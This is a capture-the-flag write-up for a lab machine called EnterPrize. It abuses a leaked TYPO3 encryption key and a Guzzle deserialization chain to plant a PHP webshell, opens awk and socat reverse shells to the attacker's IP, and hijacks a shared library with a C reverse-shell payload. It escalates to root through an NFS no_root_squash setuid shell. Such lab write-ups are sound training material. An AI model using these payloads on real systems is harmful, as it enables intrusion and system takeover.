Contents

1

Enterprize

Deploy the machine and add MACHINE_IP enterprize.thm to your hosts file.
Enumerate the target carefully. If you need a hint, you might want to save it for later.

Enumeration

# Set target
$ T=10.10.34.57
# The instructions tell us to update our host file (Seems like a hint to me)
$ echo "$T enterprize.thm" >> /etc/hosts

Nmap

$ nmap -v -n -Pn -p- $T
...
PORT    STATE  SERVICE
22/tcp  open   ssh
80/tcp  open   http
443/tcp closed https
...

Nikto

$ nikto --host $T --port 80                           
...
+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 55, size: 5b80455b93e7e, mtime: gzip
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /composer.json: PHP Composer configuration file reveals configuration information - https://getcomposer.org/

Check Index

$ curl -v enterprize.thm
*   Trying 10.10.34.57:80...
* Connected to enterprize.thm (10.10.34.57) port 80 (#0)
> GET / HTTP/1.1
> Host: enterprize.thm
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 03 Mar 2021 20:04:02 GMT
< Server: Apache
< Last-Modified: Sun, 03 Jan 2021 19:54:01 GMT
< ETag: "55-5b80455b93e7e"
< Accept-Ranges: bytes
< Content-Length: 85
< Vary: Accept-Encoding
< Content-Type: text/html
< 
<html><head><title>Blank Page</title></head><body>Nothing to see here.</body></html>
* Connection #0 to host enterprize.thm left intact

$ curl -v https://enterprize.thm
*   Trying 10.10.34.57:443...
* connect to 10.10.34.57 port 443 failed: Connection refused
* Failed to connect to enterprize.thm port 443: Connection refused
* Closing connection 0
curl: (7) Failed to connect to enterprize.thm port 443: Connection refused

Check /composer.json

# curl http://$T/composer.json
{
    "name": "superhero1/enterprize",
    "description": "THM room EnterPrize",
    "type": "project",
    "require": {
        "typo3/cms-core": "^9.5",
        "guzzlehttp/guzzle": "~6.3.3",
        "guzzlehttp/psr7": "~1.4.2",
        "typo3/cms-install": "^9.5",
	"typo3/cms-backend": "^9.5",
        "typo3/cms-core": "^9.5",
        "typo3/cms-extbase": "^9.5",
        "typo3/cms-extensionmanager": "^9.5",
        "typo3/cms-frontend": "^9.5",
        "typo3/cms-install": "^9.5",
	"typo3/cms-introduction": "^4.0"
    },
    "license": "GPL",
    "minimum-stability": "stable"
}

Research

Typo3 is an open source CMS, and is installed via composer in their Quick Start Guide. We can see in the composer file, the version active here is at least 9.5. Documentation mentions an admin tool, but I could not access it on the target.

Here’s the default project skeleton:
2

I found a typo3 scanning tool and gave it a shot:

$ python3 typo3scan.py -d http://$T --vuln
...
[ Checking http://10.10.34.57 ]
-------------------------------------------------------------------------

[x] It seems that Typo3 is not used on this domain

Explore /etc/hosts

The only piece of information we haven’t traversed here is why we were instructed to add a hosts file addition, I went down a few paths before I realized the answer was a subdomain. We can bruteforce available subdomains in the absence of a DNS server using the Host header in requests!

Okay maybe it’s best to use file size? We can see that the response is 85 Characters, so we can use hh:

$ wfuzz -v -c -w subdomains-top1million-110000.txt -Z --hh 85 -H "Host: FUZZ.enterprize.htm"  http://enterprize.thm
...
000000001:   0.294s       200        48 L       1464 W   24555 Ch   Apache 
                                                                  "maintest"
$ curl -v -H "Host: maintest.enterprize.thm" http://enterprize.thm
*   Trying 10.10.34.57:80...
* Connected to enterprize.thm (10.10.34.57) port 80 (#0)
> GET / HTTP/1.1
> Host: maintest.enterprize.thm
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 03 Mar 2021 22:56:14 GMT
< Server: Apache
< Content-Language: en
< Expires: Thu, 04 Mar 2021 22:55:59 GMT
< ETag: "ca6ad4a74dbd5ca0ee43a2e1fa4b429d"
< Cache-Control: max-age=86385
< Pragma: public
< Content-Length: 24555
< Vary: Accept-Encoding
< Content-Type: text/html; charset=utf-8
< 
<!DOCTYPE html>
<html lang="en">
<head>
...

Edit /etc/hosts with the new subdomain, and we get the typo3 install:
4

Enumerating Typo3 Subdomain

$ nikto --host maintest.enterprize.thm --port 80 
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.34.57
+ Target Hostname:    maintest.enterprize.thm
+ Target Port:        80
+ Start Time:         2021-03-03 18:17:37 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-39272: /typo3conf/ext/bootstrap_package/Resources/Public/Icons/favicon.ico file identifies this app/server as: Typo3 6.1
+ OSVDB-3268: /typo3conf/: Directory indexing found.
+ /typo3conf/: This may contain sensitive TYPO3 files.
+ OSVDB-3268: /fileadmin/: Directory indexing found.
+ OSVDB-3092: /fileadmin/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ /typo3/: TYPO3 login found
+ 7867 requests: 1 error(s) and 10 item(s) reported on remote host
+ End Time:           2021-03-03 18:32:06 (GMT-5) (869 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Check out /typo3conf

6

It looks like access to .php files are blocked, making us unable to view LocalConfiguration.php, but…

$ curl http://maintest.enterprize.thm/typo3conf/LocalConfiguration.old
<?php
return [
    'BE' => [
        'debug' => false,
        'explicitADmode' => 'explicitAllow',
        'installToolPassword' => '$argon2i$v=19$m=65536,t=16,p=', //removed hash for security!!
        'loginSecurityLevel' => 'normal',
        'passwordHashing' => [
            'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\Argon2iPasswordHash',
            'options' => [],
        ],
    ],
    'DB' => [
        'Connections' => [
            'Default' => [
                'charset' => 'utf8mb4',
                'dbname' => 'typo3',
                'driver' => 'mysqli',
                'host' => '127.0.0.1',
                'password' => 'password1', //replaced old password by 24 random chars & symbols
                'port' => 3306,
                'tableoptions' => [
                    'charset' => 'utf8mb4',
                    'collate' => 'utf8mb4_unicode_ci',
                ],
                'user' => 'typo3user',
            ],
        ],
    ],
    'EXT' => [
        'extConf' => [
            'backend' => 'a:6:{s:14:"backendFavicon";s:0:"";s:11:"backendLogo";s:0:"";s:20:"loginBackgroundImage";s:0:"";s:13:"loginFootnote";s:0:"";s:19:"loginHighlightColor";s:0:"";s:9:"loginLogo";s:0:"";}',
            'bootstrap_package' => 'a:8:{s:20:"disableCssProcessing";s:1:"0";s:17:"disableFontLoader";s:1:"0";s:24:"disableGoogleFontCaching";s:1:"0";s:27:"disablePageTsBackendLayouts";s:1:"0";s:28:"disablePageTsContentElements";s:1:"0";s:16:"disablePageTsRTE";s:1:"0";s:20:"disablePageTsTCEFORM";s:1:"0";s:20:"disablePageTsTCEMAIN";s:1:"0";}',
            'extensionmanager' => 'a:2:{s:21:"automaticInstallation";s:1:"1";s:11:"offlineMode";s:1:"0";}',
            'indexed_search' => 'a:20:{s:8:"pdftools";s:9:"/usr/bin/";s:8:"pdf_mode";s:2:"20";s:5:"unzip";s:9:"/usr/bin/";s:6:"catdoc";s:9:"/usr/bin/";s:6:"xlhtml";s:9:"/usr/bin/";s:7:"ppthtml";s:9:"/usr/bin/";s:5:"unrtf";s:9:"/usr/bin/";s:18:"trackIpInStatistic";s:1:"2";s:9:"debugMode";s:1:"0";s:18:"fullTextDataLength";s:1:"0";s:23:"disableFrontendIndexing";s:1:"0";s:21:"enableMetaphoneSearch";s:1:"1";s:6:"minAge";s:2:"24";s:6:"maxAge";s:1:"0";s:16:"maxExternalFiles";s:1:"5";s:26:"useCrawlerForExternalFiles";s:1:"0";s:11:"flagBitMask";s:3:"192";s:16:"ignoreExtensions";s:0:"";s:17:"indexExternalURLs";s:1:"0";s:16:"useMysqlFulltext";s:1:"0";}',
        ],
    ],
    'EXTENSIONS' => [
        'backend' => [
            'backendFavicon' => '',
            'backendLogo' => '',
            'loginBackgroundImage' => '',
            'loginFootnote' => '',
            'loginHighlightColor' => '',
            'loginLogo' => '',
        ],
        'bootstrap_package' => [
            'disableCssProcessing' => '0',
            'disableFontLoader' => '0',
            'disableGoogleFontCaching' => '0',
            'disablePageTsBackendLayouts' => '0',
            'disablePageTsContentElements' => '0',
            'disablePageTsRTE' => '0',
            'disablePageTsTCEFORM' => '0',
            'disablePageTsTCEMAIN' => '0',
        ],
        'extensionmanager' => [
            'automaticInstallation' => '1',
            'offlineMode' => '0',
        ],
        'indexed_search' => [
            'catdoc' => '/usr/bin/',
            'debugMode' => '0',
            'disableFrontendIndexing' => '0',
            'enableMetaphoneSearch' => '1',
            'flagBitMask' => '192',
            'fullTextDataLength' => '0',
            'ignoreExtensions' => '',
            'indexExternalURLs' => '0',
            'maxAge' => '0',
            'maxExternalFiles' => '5',
            'minAge' => '24',
            'pdf_mode' => '20',
            'pdftools' => '/usr/bin/',
            'ppthtml' => '/usr/bin/',
            'trackIpInStatistic' => '2',
            'unrtf' => '/usr/bin/',
            'unzip' => '/usr/bin/',
            'useCrawlerForExternalFiles' => '0',
            'useMysqlFulltext' => '0',
            'xlhtml' => '/usr/bin/',
        ],
    ],
    'FE' => [
        'debug' => false,
        'loginSecurityLevel' => 'normal',
        'passwordHashing' => [
            'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\Argon2iPasswordHash',
            'options' => [],
        ],
    ],
    'LOG' => [
        'TYPO3' => [
            'CMS' => [
                'deprecations' => [
                    'writerConfiguration' => [
                        5 => [
                            'TYPO3\CMS\Core\Log\Writer\FileWriter' => [
                                'disabled' => true,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
    'MAIL' => [
        'transport' => 'sendmail',
        'transport_sendmail_command' => '/usr/sbin/sendmail -t -i ',
        'transport_smtp_encrypt' => '',
        'transport_smtp_password' => '',
        'transport_smtp_server' => '',
        'transport_smtp_username' => '',
    ],
    'SYS' => [
        'devIPmask' => '',
        'displayErrors' => 0,
        'encryptionKey' => '7****0b',
        'exceptionalErrors' => 4096,
        'features' => [
            'newTranslationServer' => true,
            'unifiedPageTranslationHandling' => true,
        ],
        'sitename' => 'EnterPrize',
        'systemLogLevel' => 2,
        'systemMaintainers' => [
            1,
        ],
    ],
];

I explored a few paths here before I realized the key here, is the key!
- CVE-2020-15099
- This article describes an RCE Vector with a known typo3 encryptionKey
- The guzzle version is 6.3.3

First, we need a form to abuse. I found the default contact form here:
11

We’ll also need phpgcc to construct our payload

$ git clone https://github.com/ambionics/phpggc
$ ./phpggc -l | grep Guzzle
Guzzle/FW1                                6.0.0 <= 6.3.3+                 File write             __destruct          
Guzzle/INFO1                              6.0.0 <= 6.3.2                  phpinfo()              __destruct    
Guzzle/RCE1                               6.0.0 <= 6.3.2                  RCE (Function call)    __destruct
Pydio/Guzzle/RCE1                         < 8.2.2                         RCE (Function call)    __toString          
WordPress/Guzzle/RCE1                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __toString 
WordPress/Guzzle/RCE2                     4.0.0 <= 6.4.1+ & WP < 5.5.2    RCE (Function call)    __destruct 

Let’s create a simple PHP webshell to send in our payload

$ echo '<?php $output = system($_GET[1]); echo $output ; ?>' > /tmp/shell.php

Now we can generate a payload, pay attention to the filepaths!

$ ./phpggc -b --fast-destruct Guzzle/FW1 /var/www/html/public/fileadmin/_temp_/shell.php /tmp/shell.php 
1337PAYLOAD1337

Finally, we’ll need the hash generated for our payload using our known key, I made a little PHP script for calculating this:

$sig = hash_hmac('sha256', $argv[1], "71*****b");
print($sig);
$ php hmac.php 1337PAYLOAD1337            
1337e758b27ba8f6f8eabcaa02afd8e885381337

We can now intercept the request with Burp, and edit the __state field with our crafted payload:
12
17

And now we have RCE!

$ http://maintest.enterprize.thm/fileadmin/_temp_/shell.php?1=id
[{"Expires":1,"Discard":false,"Value":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked) uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)\n"}

Getting A reverse Shell

A lot of binaries are unavailable, but Awk is what finally worked for me:

$ curl http://maintest.enterprize.thm/fileadmin/_temp_/shell.php?1=awk%20%27BEGIN%20%7Bs%20%3D%20%22%2Finet%2Ftcp%2F0%2F10.6.62.222%2F443%22%3B%20while(42)%20%7B%20do%7B%20printf%20%22shell%3E%22%20%7C%26%20s%3B%20s%20%7C%26%20getline%20c%3B%20if(c)%7B%20while%20((c%20%7C%26%20getline)%20%3E%200)%20print%20%240%20%7C%26%20s%3B%20close(c)%3B%20%7D%20%7D%20while(c%20!%3D%20%22exit%22)%20close(s)%3B%20%7D%7D%27%20%2Fdev%2Fnull

$ sudo nc -lvp 443 
[sudo] password for kali: 
listening on [any] 443 ...
connect to [10.6.62.222] from enterprize.thm [10.10.22.151] 42471
shell>id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(blocked)
shell>

Escalation

shell>uname -a
Linux enterprize 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
shell>pwd
/var/www/html/public/fileadmin/_temp_

Get a TTY Shell

# On host
$ which socat   
/usr/bin/socat
$ cd /usr/bin            
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

# On Target
shell>wget 10.6.62.222:8000/socat  
shell>ls
index.html
shell.php
socat

# Host
$ nc -lvp 4444
# Target
$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.62.222:4444
# Host (TTY Shell)
[email protected]:/var/www/html/public/fileadmin/_temp_$

myapp

Armed with a tty shell, we turn our attention to /home/john/develop/myapp which seems like an obvious oddity to investigate.

[email protected]:/home/john/develop$ ./myapp
./myapp
Welcome to my pinging application!
Test...

We have strace, ttrace and ldd available on this system:

[email protected]:/home/john/develop$ strace ./myapp
... I encourage you to have a look at this yourself ...
$ ldd myapp
ldd myapp
	linux-vdso.so.1 (0x00007ffd6fc8f000)
	libcustom.so => /usr/lib/libcustom.so (0x00007f589128e000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5890c86000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f5891077000)

A custom library is being loaded, there’s something non-default going on, so we should think to check the load config:

[email protected]:/usr/lib$ cat /etc/ld.so.conf
cat /etc/ld.so.conf
include /etc/ld.so.conf.d/*.conf
[email protected]:/usr/lib cd /etc/ld.so.conf.d
[email protected]:/etc/ld.so.conf.d$ ls -al
ls -al
total 16
drwxr-xr-x  2 root root 4096 Jan  3 20:04 .
drwxr-xr-x 98 root root 4096 Mar  8 22:38 ..
-rw-r--r--  1 root root   44 Jan 27  2016 libc.conf
lrwxrwxrwx  1 root root   28 Jan  3 20:04 x86_64-libc.conf -> /home/john/develop/test.conf
-rw-r--r--  1 root root  100 Apr 16  2018 x86_64-linux-gnu.conf

[email protected]:/etc/ld.so.conf.d$ cat /home/john/develop/test.conf
cat /home/john/develop/test.conf
cat: /home/john/develop/test.conf: No such file or directory

[email protected]:/etc/ld.so.conf.d$ touch /home/john/develop/test.conf 
touch /home/john/develop/test.conf

There we go, we can pollute this binary’s shared libraries using the symlink into /home/john/develop!

To figure out what to pollute, we run ltrace

[email protected]:/home/john/develop$ ltrace ./myapp
ltrace ./myapp
...
do_ping(1, 0x55be12efc260, 0x7f7cbaa1e8c0, 0x7f7cba741224)
...

It’s executing do_ping from libcustom.so

So, the vector is as follows:
- Write a payload in C, compile to .so
- Place payload at /home/john/develop/libcustom.so
- Use /home/john/develop/test.conf to load the library
- Start nc listener
- Wait for cronjob to execute
- profit

Payload:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void do_ping(){
    system("/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.62.222:5555", NULL, NULL);
}

Compile and serve:

$ gcc -shared -o libcustom.so payload.c 
$ python -m SimpleHTTPServer 
Serving HTTP on 0.0.0.0 port 8000 ...

Exploit:

[email protected]:/home/john/develop$ wget 10.6.62.222:8000/libcustom.so
...
2021-03-08 22:51:24 (177 KB/s) - 'libcustom.so' saved [15984/15984]

# update so.conf
$ echo "/home/john/develop/" > /home/john/develop/test.conf
# Host
$ nc -lvp 5555
listening on [any] 5555 ...
# Waiting...
connect to [10.6.62.222] from enterprize.thm [10.10.122.26] 46898
[email protected]:~$ id
id
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
[email protected]:~$ ls -al
ls -al
total 44
drwxr-xr-x 7 john john 4096 Jan  9 15:40 .
drwxr-xr-x 3 root root 4096 Jan  3 19:29 ..
lrwxrwxrwx 1 john john    9 Jan  3 20:04 .bash_history -> /dev/null
-rw-r--r-- 1 john john  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 john john 3771 Apr  4  2018 .bashrc
drwx------ 2 john john 4096 Jan  3 19:31 .cache
drwxrwxr-x 4 john john 4096 Jan  9 15:32 .config
drwx------ 3 john john 4096 Jan  3 19:31 .gnupg
drwxrwxr-x 3 john john 4096 Jan  3 20:13 .local
-rw-r--r-- 1 john john  807 Apr  4  2018 .profile
drwxrwxrwt 2 john john 4096 Mar  8 23:54 develop
-r-------- 1 john john   38 Jan  3 20:26 user.txt
[email protected]:~$ cat user.txt
cat user.txt
********

Root Time

Running the normal checklist, I eventually notice some oddities in netstat:

[email protected]:~$ netstat -plnt
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:2049            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:59365           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:39987           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:34011           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:56799           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::2049                 :::*                    LISTEN      -                   
tcp6       0      0 :::34115                :::*                    LISTEN      -                   
tcp6       0      0 :::34087                :::*                    LISTEN      -                   
tcp6       0      0 :::111                  :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::55929                :::*                    LISTEN      -                   
tcp6       0      0 :::51961                :::*                    LISTEN      -

Port 2049 is usually NFS.

[email protected]:~$ showmount -e localhost
Export list for localhost:
/var/nfs localhost

[email protected]:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#		to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)
#
/var/nfs        localhost(insecure,rw,sync,no_root_squash,no_subtree_check)

no_root_squash is listed! Quick lookup for how to abuse this…

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell

We cannot access this over the network freely though, but ssh is open, so we can use a tunnel! Add your ssh key to /home/john/.ssh/authorized_keys.

# Attacking host, start tunnel to remap local port 
$ ssh -fNv -L 3049:localhost:2049 [email protected]
OpenSSH_8.4p1 Debian-4, OpenSSL 1.1.1i  8 Dec 2020
Authenticated to 10.10.122.26 ([10.10.122.26]:22).
# Elevate to root on Host                                                                                     
┌──(kali㉿kali)-[/tmp/pe]
└─$ sudo su
# Create a directory to mount to
$ mkdir nfs
# Mount using our tunnel
$ mount -v -t nfs -o port=3049 localhost:/var/nfs nfs 
mount.nfs: timeout set for Mon Mar  8 19:24:45 2021
mount.nfs: trying text-based options 'port=3049,vers=4.2,addr=::1,clientaddr=::1'
$ cd nfs && cp /bin/sh .
$ chmod +x sh
$ ssh [email protected]
[email protected]:~$ ls /var/nfs
sh
[email protected]:~$ /var/nfs/sh -p
# id
uid=1000(john) gid=1000(john) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(john),1001(blocked

We’ve got Root! Now, the page says we’re looking for root.txt…

$ cd /root
$ ls -al
total 36
drwx------  6 root root 4096 Jan  3 23:28 .
drwxr-xr-x 24 root root 4096 Jan  3 19:25 ..
lrwxrwxrwx  1 root root    9 Jan  3 20:04 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Jan  3 21:27 .cache
drwx------  3 root root 4096 Jan  3 21:27 .gnupg
drwxr-xr-x  3 root root 4096 Jan  3 19:46 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Jan  3 19:29 .ssh
-r--------  1 root root   38 Jan  3 20:26 root.txt
$ cat root.txt
*****
Directory
$ cd content && tree